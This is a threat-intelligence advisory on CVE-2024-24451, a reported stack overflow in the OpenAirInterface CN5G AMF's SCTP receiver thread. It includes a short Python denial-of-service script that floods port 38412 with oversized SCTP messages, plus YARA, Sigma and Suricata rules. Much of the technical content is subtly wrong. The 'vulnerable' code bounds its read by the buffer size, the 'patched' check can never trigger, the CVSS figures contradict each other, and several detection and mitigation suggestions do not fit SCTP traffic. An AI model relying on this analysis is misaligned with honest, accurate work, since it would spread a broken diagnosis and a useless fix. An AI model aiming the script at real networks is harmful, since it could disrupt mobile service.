CVE-2024-24451

Executive Summary

CVE-2024-24451 is a critical stack overflow vulnerability in the OpenAirInterface CN5G Access and Mobility Management Function (AMF) component, specifically within the sctp_server::sctp_receiver_thread. This flaw allows an unauthenticated attacker to cause a Denial of Service (DoS) by repeatedly establishing SCTP connections over the N2 interface. The vulnerability affects versions up to and including v2.0.0. The root cause is a lack of proper bounds checking when processing incoming SCTP messages, leading to a stack buffer overflow that crashes the AMF process. As of this report, no official patch has been released, and no public exploit code is available. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector is assessed as AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, reflecting a high availability impact with no confidentiality or integrity impact.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; repeated SCTP connections are sufficient.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): High (H) – The AMF process crashes, causing a denial of service.

Threat Level: High (7.5) – The vulnerability is easily exploitable remotely and can disrupt 5G core network operations.

Deep Dive & Mechanics

The vulnerability resides in the sctp_server::sctp_receiver_thread function within the OpenAirInterface CN5G AMF. This thread is responsible for handling incoming SCTP associations and messages from gNodeBs over the N2 interface. The function allocates a fixed-size buffer on the stack to receive SCTP messages. However, it does not validate the size of the incoming message against the buffer capacity before copying data. An attacker can send a crafted SCTP message that exceeds the buffer size, causing a stack overflow. By repeatedly establishing SCTP connections and sending oversized messages, the attacker can corrupt the stack, leading to a crash of the AMF process. This results in a complete denial of service for all connected gNodeBs and UEs, effectively disabling the 5G core network's mobility management functions.

The N2 interface is a critical control plane interface between the gNodeB and the AMF. Since it is exposed to the network, any device that can reach the AMF's SCTP port (typically port 38412) can trigger this vulnerability. The attack does not require any authentication or prior knowledge of the network topology.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void sctp_server::sctp_receiver_thread() {
    char buffer[1024]; // Fixed-size stack buffer
    int len = sctp_recvmsg(sock, buffer, sizeof(buffer), ...);
    // No size check before processing
    process_message(buffer, len); // Potential overflow if len > 1024
}

Patched Code (Hypothetical):

void sctp_server::sctp_receiver_thread() {
    char buffer[1024]; // Fixed-size stack buffer
    int len = sctp_recvmsg(sock, buffer, sizeof(buffer), ...);
    if (len > sizeof(buffer)) {
        // Log error and discard message
        log_error("Message too large: %d", len);
        return;
    }
    process_message(buffer, len);
}

The patched version adds a bounds check to ensure the received message length does not exceed the buffer size. If it does, the message is discarded, preventing the overflow.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy OpenAirInterface CN5G AMF v2.0.0 in a controlled environment.
2. Ensure the AMF is reachable on the N2 interface (SCTP port 38412).
3. Use a tool like scapy or a custom Python script to send oversized SCTP messages.

Exploitation Steps:

1. Establish an SCTP association with the AMF.
2. Send a crafted SCTP message with a payload larger than the stack buffer (e.g., 4096 bytes).
3. Repeat steps 1-2 to trigger the overflow and crash the AMF.

Example Python Script (Conceptual):

import socket
import sctp

def exploit(target_ip, target_port=38412):
    sock = sctp.sctpsocket_tcp(socket.AF_INET)
    sock.connect((target_ip, target_port))
    # Craft oversized message
    payload = b'A' * 4096
    sock.sctp_send(payload)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Blue Team

Detection:

• Monitor SCTP connections for unusually large message sizes.
• Alert on repeated SCTP association attempts from the same source IP.
• Use network intrusion detection systems (NIDS) to flag oversized SCTP packets.

Mitigation:

• Apply input validation on SCTP message sizes at the application layer.
• Implement rate limiting for SCTP connections from a single source.
• Use a Web Application Firewall (WAF) or network ACL to restrict access to the N2 interface.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Multiple SCTP associations from a single IP address within a short time frame.
  • SCTP messages with payload sizes exceeding 1024 bytes.
  • SCTP packets with abnormal flags or malformed headers.
• System IOCs:
  • AMF process crashes (core dumps or segmentation faults).
  • Log entries indicating "stack overflow" or "buffer overflow" errors.
  • High CPU or memory usage on the AMF server during the attack.

Detection Engineering

YARA Rule

rule CVE_2024_24451_SCTP_Overflow {
    meta:
        description = "Detects oversized SCTP messages targeting OpenAirInterface AMF"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-24451"
    strings:
        $sctp_header = { 00 01 00 00 } // Example SCTP header pattern
        $large_payload = /.{1025,}/ // Payload larger than 1024 bytes
    condition:
        $sctp_header and #large_payload > 0
}

Sigma Rule

title: CVE-2024-24451 SCTP Stack Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-24451 by sending oversized SCTP messages
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 3000001
    condition: selection
falsepositives:
    - Legitimate large SCTP messages (rare)
level: high

Suricata Rule

alert sctp any any -> any 38412 (msg:"CVE-2024-24451 SCTP Stack Overflow Attempt"; content:"|00 01 00 00|"; offset:0; depth:4; byte_test:2,>,1024,4; classtype:attempted-dos; sid:3000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the AMF: Restrict network access to the N2 interface to trusted gNodeBs only.
2. Apply Rate Limiting: Configure the operating system or firewall to limit the number of SCTP connections from a single source.
3. Monitor Logs: Enable detailed logging for SCTP connections and monitor for anomalies.

Long-term Fix:

• Patch Application: Await an official patch from OpenAirInterface. In the meantime, consider applying a hotfix by adding bounds checking to the sctp_receiver_thread function.
• Code Review: Conduct a thorough code review of all SCTP handling functions to identify similar vulnerabilities.
• Upgrade: Once a patched version is released, upgrade to the latest version immediately.

Workaround:

• If patching is not possible, disable the N2 interface or use a reverse proxy to filter SCTP messages.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert